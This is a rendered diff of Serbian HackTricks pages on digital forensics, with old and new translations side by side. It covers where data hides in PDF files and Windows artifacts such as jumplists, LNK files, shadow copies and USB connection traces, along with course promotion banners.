Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,52 +1,54 @@
# Analiza PDF fajlova # PDF File analysis
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite AWS hakovanje od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) da biste lako kreirali i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=pdf-file-analysis) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Pristupite danas: Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pdf-file-analysis" %}
**Za dalje detalje pogledajte:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) **For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
PDF format je poznat po svojoj složenosti i potencijalu za skrivanje podataka, čineći ga fokusom za CTF forenzičke izazove. Kombinuje elemente običnog teksta sa binarnim objektima, koji mogu biti kompresovani ili enkriptovani, i mogu uključivati skripte u jezicima poput JavaScript-a ili Flash-a. Da biste razumeli strukturu PDF-a, možete se pozvati na Didier Stevens-ov [uvodni materijal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ili koristiti alate poput tekst editora ili PDF-specifičnog editora poput Origami-ja. PDF format je poznat po svojoj složenosti i potencijalu za prikrivanje podataka, što ga čini centralnom tačkom za CTF forenzičke izazove. Kombinuje elemente običnog teksta sa binarnim objektima, koji mogu biti kompresovani ili enkriptovani, i može uključivati skripte u jezicima kao što su JavaScript ili Flash. Da bi se razumeo PDF struktura, može se konsultovati [uvodni materijal](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) Didiera Stevensa, ili koristiti alate poput tekstualnog editora ili PDF-specifičnog editora kao što je Origami.
Za detaljno istraživanje ili manipulaciju PDF-ova, dostupni su alati poput [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Skriveni podaci unutar PDF-ova mogu biti prikriveni u: Za dubinsko istraživanje ili manipulaciju PDF-ova, dostupni su alati kao što su [qpdf](https://github.com/qpdf/qpdf) i [Origami](https://github.com/mobmewireless/origami-pdf). Sakriveni podaci unutar PDF-ova mogu biti prikriveni u:
* Nevidljivim slojevima * Nevidljivim slojevima
* XMP formatu metapodataka od strane Adobe-a * XMP metapodacima formata od Adobe-a
* Inkrementalnim generacijama * Inkrementalnim generacijama
* Tekstu iste boje kao pozadina * Tekstu iste boje kao pozadina
* Tekstu iza slika ili preklapajućih slika * Tekstu iza slika ili preklapajućih slika
* Komentarima koji se ne prikazuju * Neprikazanim komentarima
Za prilagođenu analizu PDF-a, Python biblioteke poput [PeepDF](https://github.com/jesparza/peepdf) mogu se koristiti za izradu prilagođenih skriptova za parsiranje. Nadalje, potencijal PDF-a za skriveno skladištenje podataka je toliko velik da resursi poput NSA vodiča o rizicima i merama zaštite PDF-a, iako više nije smešten na originalnoj lokaciji, i dalje pružaju vredne uvide. [Kopija vodiča](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) i kolekcija [triokova u PDF formatu](https://github.com/corkami/docs/blob/master/PDF/PDF.md) od strane Ange Albertini-a mogu pružiti dodatno čitanje na ovu temu. Za prilagođenu analizu PDF-a, Python biblioteke kao što su [PeepDF](https://github.com/jesparza/peepdf) mogu se koristiti za kreiranje prilagođenih skripti za parsiranje. Pored toga, potencijal PDF-a za skladištenje skrivenih podataka je toliko ogroman da resursi poput NSA vodiča o rizicima i protivmera vezanim za PDF, iako više nisu dostupni na svojoj originalnoj lokaciji, i dalje nude dragocene uvide. [Kopija vodiča](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) i kolekcija [trikova za PDF format](https://github.com/corkami/docs/blob/master/PDF/PDF.md) od Ange Albertinija mogu pružiti dodatno čitanje na ovu temu.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite AWS hakovanje od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,158 +1,161 @@
# Windows Artifakti # Windows Artifacts
## Windows Artifakti ## Windows Artifacts
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Generički Windows Artifakti ## Generic Windows Artifacts
### Windows 10 Obaveštenja ### Windows 10 Notifications
Na putanji `\Users\<korisničko_ime>\AppData\Local\Microsoft\Windows\Notifications` možete pronaći bazu podataka `appdb.dat` (pre Windows ažuriranja) ili `wpndatabase.db` (nakon Windows ažuriranja). U putanji `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` možete pronaći bazu podataka `appdb.dat` (pre Windows godišnjice) ili `wpndatabase.db` (posle Windows godišnjice).
Unutar ove SQLite baze podataka, možete pronaći tabelu `Notification` sa svim obaveštenjima (u XML formatu) koje mogu sadržati zanimljive podatke. Unutar ove SQLite baze podataka, možete pronaći tabelu `Notification` sa svim obaveštenjima (u XML formatu) koja mogu sadržati zanimljive podatke.
### Vremenska Linija ### Timeline
Vremenska linija je Windows karakteristika koja pruža **hronološku istoriju** posećenih web stranica, uređenih dokumenata i izvršenih aplikacija. Timeline je karakteristika Windows-a koja pruža **hronološku istoriju** web stranica koje su posećene, uređivanih dokumenata i izvršenih aplikacija.
Baza podataka se nalazi na putanji `\Users\<korisničko_ime>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Ovu bazu podataka možete otvoriti sa alatom za SQLite ili sa alatom [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **koji generiše 2 datoteke koje se mogu otvoriti sa alatom** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). Baza podataka se nalazi u putanji `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Ova baza podataka može se otvoriti sa SQLite alatom ili sa alatom [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **koji generiše 2 datoteke koje se mogu otvoriti sa alatom** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
### ADS (Alternate Data Streams) ### ADS (Alternate Data Streams)
Preuzete datoteke mogu sadržati **ADS Zone.Identifier** koji ukazuje **kako** je datoteka **preuzeta** sa intraneta, interneta, itd. Neki softveri (poput pretraživača) obično dodaju čak **više** **informacija** poput **URL-a** sa kog je datoteka preuzeta. Datoteke preuzete mogu sadržati **ADS Zone.Identifier** koji ukazuje **kako** je **preuzeta** sa intraneta, interneta itd. Neki softver (kao što su pregledači) obično dodaju čak i **više** **informacija** kao što je **URL** sa kojeg je datoteka preuzeta.
## **Rezervne Kopije Datoteka** ## **File Backups**
### Kanta za Reciklažu ### Recycle Bin
U Vista/Win7/Win8/Win10 **Kanta za Reciklažu** se može naći u folderu **`$Recycle.bin`** u korenu drajva (`C:\$Recycle.bin`).\ U Vista/Win7/Win8/Win10 **Recycle Bin** se može pronaći u folderu **`$Recycle.bin`** u korenu diska (`C:\$Recycle.bin`).\
Kada se datoteka obriše u ovom folderu, kreiraju se 2 specifične datoteke: Kada se datoteka obriše u ovom folderu, kreiraju se 2 specifične datoteke:
* `$I{id}`: Informacije o datoteci (datum kada je obrisana} * `$I{id}`: Informacije o datoteci (datum kada je obrisana)
* `$R{id}`: Sadržaj datoteke * `$R{id}`: Sadržaj datoteke
![](<../../../.gitbook/assets/image (1029).png>) ![](<../../../.gitbook/assets/image (1029).png>)
Imajući ove datoteke, možete koristiti alat [**Rifiuti**](https://github.com/abelcheung/rifiuti2) da dobijete originalnu adresu obrisanih datoteka i datum kada su obrisane (koristite `rifiuti-vista.exe` za Vista Win10). Imajući ove datoteke, možete koristiti alat [**Rifiuti**](https://github.com/abelcheung/rifiuti2) da dobijete originalnu adresu obrisanih datoteka i datum kada je obrisana (koristite `rifiuti-vista.exe` za Vista Win10).
``` ```
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
``` ```
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>) ![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
### Kopije senki zapisa ### Volume Shadow Copies
Senka kopije je tehnologija koja je uključena u Microsoft Windows i može kreirati **rezervne kopije** ili snimke fajlova ili volumena računara, čak i kada su u upotrebi. Shadow Copy je tehnologija uključena u Microsoft Windows koja može da kreira **rezervne kopije** ili snimke računarskih datoteka ili volumena, čak i kada su u upotrebi.
Ove rezervne kopije obično se nalaze u `\System Volume Information` od korena fajl sistema, a ime je sastavljeno od **UID-ova** prikazanih na sledećoj slici: Ove rezervne kopije se obično nalaze u `\System Volume Information` iz korena datotečnog sistema, a naziv se sastoji od **UID-ova** prikazanih na sledećoj slici:
![](<../../../.gitbook/assets/image (94).png>) ![](<../../../.gitbook/assets/image (94).png>)
Montiranjem forenzičke slike sa **ArsenalImageMounter**-om, alat [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) može se koristiti za inspekciju senke kopije i čak **izvlačenje fajlova** iz rezervnih kopija senki. Montiranjem forenzičke slike sa **ArsenalImageMounter**, alat [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) može se koristiti za inspekciju shadow copy i čak **izvlačenje datoteka** iz rezervnih kopija shadow copy.
![](<../../../.gitbook/assets/image (576).png>) ![](<../../../.gitbook/assets/image (576).png>)
Unos u registar `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` sadrži fajlove i ključeve **koji se ne smeju rezervisati**: Unos u registru `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` sadrži datoteke i ključeve **koje ne treba praviti rezervne kopije**:
![](<../../../.gitbook/assets/image (254).png>) ![](<../../../.gitbook/assets/image (254).png>)
U registru `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` takođe se nalaze informacije o konfiguraciji `Volume Shadow Copies`. Registar `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` takođe sadrži informacije o konfiguraciji `Volume Shadow Copies`.
### Office automatski sačuvani fajlovi ### Office AutoSaved Files
Office automatski sačuvani fajlovi se mogu pronaći u: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` Možete pronaći automatski sačuvane datoteke u: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
## Stavke ljuske ## Shell Items
Stavka ljuske je stavka koja sadrži informacije o tome kako pristupiti drugom fajlu. Shell item je stavka koja sadrži informacije o tome kako pristupiti drugoj datoteci.
### Nedavni dokumenti (LNK) ### Recent Documents (LNK)
Windows **automatski** **kreira** ove **prečice** kada korisnik **otvori, koristi ili kreira fajl** u: Windows **automatski** **kreira** ove **prečice** kada korisnik **otvori, koristi ili kreira datoteku** u:
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` * Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` * Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
Kada se kreira folder, takođe se kreira veza ka folderu, roditeljskom folderu i pradedovskom folderu. Kada se kreira folder, takođe se kreira veza do foldera, do roditeljskog foldera i do foldera bake.
Ove automatski kreirane link datoteke **sadrže informacije o poreklu** kao da je to **fajl** **ili** folder, **MAC** **vremena** tog fajla, **informacije o volumenu** gde je fajl smešten i **folder ciljnog fajla**. Ove informacije mogu biti korisne za oporavak tih fajlova u slučaju da su uklonjeni. Ove automatski kreirane datoteke sa linkovima **sadrže informacije o poreklu** kao što su da li je to **datoteka** **ili** **folder**, **MAC** **vremena** te datoteke, **informacije o volumenu** gde je datoteka smeštena i **folder ciljne datoteke**. Ove informacije mogu biti korisne za oporavak tih datoteka u slučaju da su uklonjene.
Takođe, **datum kreiranja linka** datoteke je prvo **vreme** kada je originalni fajl **prvi** **put** **korišćen**, a **datum** **izmene** link datoteke je **poslednji** **put** kada je korišćen originalni fajl. Takođe, **datum kreiranja linka** datoteke je prvi **put** kada je originalna datoteka **prvi put** **korišćena**, a **datum** **modifikacije** link datoteke je **poslednji** **put** kada je originalna datoteka korišćena.
Za inspekciju ovih fajlova možete koristiti [**LinkParser**](http://4discovery.com/our-tools/). Da biste inspekciju ovih datoteka, možete koristiti [**LinkParser**](http://4discovery.com/our-tools/).
U ovom alatu ćete pronaći **2 seta** vremenskih oznaka: U ovom alatu ćete pronaći **2 skupa** vremenskih oznaka:
* **Prvi set:** * **Prvi skup:**
1. FileModifiedDate 1. FileModifiedDate
2. FileAccessDate 2. FileAccessDate
3. FileCreationDate 3. FileCreationDate
* **Drugi set:** * **Drugi skup:**
1. LinkModifiedDate 1. LinkModifiedDate
2. LinkAccessDate 2. LinkAccessDate
3. LinkCreationDate. 3. LinkCreationDate.
Prvi set vremenskih oznaka odnosi se na **vremenske oznake samog fajla**. Drugi set se odnosi na **vremenske oznake povezanog fajla**. Prvi skup vremenskih oznaka se odnosi na **vremenske oznake same datoteke**. Drugi skup se odnosi na **vremenske oznake povezane datoteke**.
Možete dobiti iste informacije pokretanjem Windows CLI alata: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) Istu informaciju možete dobiti pokretanjem Windows CLI alata: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
``` ```
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
``` ```
In this case, the information is going to be saved inside a CSV file.
### Jumplists ### Jumplists
Ovo su nedavne datoteke koje su označene po aplikacijama. To je lista **nedavnih datoteka koje je koristila aplikacija** do kojih možete pristupiti u svakoj aplikaciji. Mogu se kreirati **automatski ili ručno**. Ovo su nedavne datoteke koje su označene po aplikaciji. To je lista **nedavnih datoteka korišćenih od strane aplikacije** kojoj možete pristupiti u svakoj aplikaciji. Mogu biti kreirane **automatski ili po meri**.
**Jumplists** koje se automatski kreiraju čuvaju se u `C:\Users\{korisničko_ime}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Jumplisti se nazivaju prema formatu `{id}.autmaticDestinations-ms` gde je početni ID ID aplikacije. **Jumplists** kreirane automatski se čuvaju u `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Jumplisti su imenovani prema formatu `{id}.autmaticDestinations-ms` gde je početni ID ID aplikacije.
Ručno kreirani jumplisti čuvaju se u `C:\Users\{korisničko_ime}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` i obično ih kreira aplikacija jer se nešto **važno** dogodilo s datotekom (možda je označena kao omiljena). Prilagođeni jumplisti se čuvaju u `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` i obično ih kreira aplikacija jer se nešto **važnog** dogodilo sa datotekom (možda označeno kao omiljeno).
**Vreme kreiranja** bilo kog jumplista označava **prvi put kada je datoteka pristupljena** i **vreme poslednje izmene**. **Vreme kreiranja** bilo kog jumplista označava **prvi put kada je datoteka pristupljena** i **vreme modifikacije poslednji put**.
Jumpliste možete pregledati koristeći [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). Možete pregledati jumpliste koristeći [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
![](<../../../.gitbook/assets/image (168).png>) ![](<../../../.gitbook/assets/image (168).png>)
(_Napomena: Vremenske oznake koje pruža JumplistExplorer odnose se na samu datoteku jumplista_) (_Napomena: vremenski oznake koje pruža JumplistExplorer su povezane sa samom datotekom jumplist_)
### Shellbags ### Shellbags
[**Pratite ovaj link da saznate šta su shellbags.**](interesting-windows-registry-keys.md#shellbags) [**Pratite ovaj link da saznate šta su shellbags.**](interesting-windows-registry-keys.md#shellbags)
## Upotreba Windows USB uređaja ## Upotreba Windows USB-a
Moguće je identifikovati da je USB uređaj korišćen zahvaljujući kreiranju: Moguće je identifikovati da je USB uređaj korišćen zahvaljujući kreiranju:
* Windows Recent fascikle * Windows Recent Folder
* Microsoft Office Recent fascikle * Microsoft Office Recent Folder
* Jumplisti * Jumplists
Imajte na umu da neke LNK datoteke umesto da pokazuju na originalnu putanju, pokazuju na fasciklu WPDNSE: Napomena da neka LNK datoteka umesto da pokazuje na originalni put, pokazuje na WPDNSE folder:
![](<../../../.gitbook/assets/image (218).png>) ![](<../../../.gitbook/assets/image (218).png>)
Datoteke u fascikli WPDNSE su kopija originalnih datoteka, pa neće preživeti restartovanje računara, a GUID se uzima iz shellbaga. Datoteke u folderu WPDNSE su kopije originalnih, stoga neće preživeti restart PC-a i GUID se uzima iz shellbaga.
### Informacije iz registra ### Registry Information
[Pogledajte ovu stranicu da saznate](interesting-windows-registry-keys.md#usb-information) koje registarske ključeve sadrže zanimljive informacije o povezanim USB uređajima. [Proverite ovu stranicu da saznate](interesting-windows-registry-keys.md#usb-information) koji registry ključevi sadrže zanimljive informacije o USB povezanim uređajima.
### setupapi ### setupapi
Proverite datoteku `C:\Windows\inf\setupapi.dev.log` da biste dobili vremenske oznake kada je USB veza uspostavljena (tražite `Section start`). Proverite datoteku `C:\Windows\inf\setupapi.dev.log` da dobijete vremenske oznake o tome kada je USB konekcija napravljena (potražite `Section start`).
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) ![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
### USB Detective ### USB Detective
@ -160,148 +163,149 @@ Proverite datoteku `C:\Windows\inf\setupapi.dev.log` da biste dobili vremenske o
![](<../../../.gitbook/assets/image (452).png>) ![](<../../../.gitbook/assets/image (452).png>)
### Čišćenje priključivanja i reprodukcije ### Plug and Play Cleanup
Zakazani zadatak poznat kao 'Čišćenje priključivanja i reprodukcije' prvenstveno je dizajniran za uklanjanje zastarelih verzija drajvera. Za razliku od navedene svrhe zadržavanja najnovije verzije drajvera, online izvori sugerišu da takođe cilja drajvere koji nisu bili aktivni 30 dana. Stoga, drajveri za prenosive uređaje koji nisu bili povezani u proteklih 30 dana mogu biti podložni brisanju. Zakazana aktivnost poznata kao 'Plug and Play Cleanup' prvenstveno je dizajnirana za uklanjanje zastarelih verzija drajvera. Suprotno njenoj specificiranoj svrsi zadržavanja najnovije verzije paketa drajvera, online izvori sugerišu da takođe cilja drajvere koji su bili neaktivni 30 dana. Kao rezultat, drajveri za uklonjive uređaje koji nisu povezani u poslednjih 30 dana mogu biti podložni brisanju.
Zadatak se nalazi na sledećoj putanji: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. Zadatak se nalazi na sledećem putu: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
Prikazan je snimak ekrana sadržaja zadatka: ![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) Prikazana je slika koja prikazuje sadržaj zadatka: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
**Ključne komponente i podešavanja zadatka:** **Ključne komponente i podešavanja zadatka:**
* **pnpclean.dll**: Ova DLL je odgovorna za stvarni proces čišćenja. * **pnpclean.dll**: Ova DLL je odgovorna za stvarni proces čišćenja.
* **UseUnifiedSchedulingEngine**: Postavljeno na `TRUE`, što ukazuje na korišćenje generičkog motora za zakazivanje zadataka. * **UseUnifiedSchedulingEngine**: Podešeno na `TRUE`, što ukazuje na korišćenje generičkog mehanizma za zakazivanje zadataka.
* **MaintenanceSettings**: * **MaintenanceSettings**:
* **Period ('P1M')**: Usmerava Task Scheduler da pokrene zadatak čišćenja mesečno tokom redovnog automatskog održavanja. * **Period ('P1M')**: Usmerava Task Scheduler da pokrene zadatak čišćenja mesečno tokom redovnog automatskog održavanja.
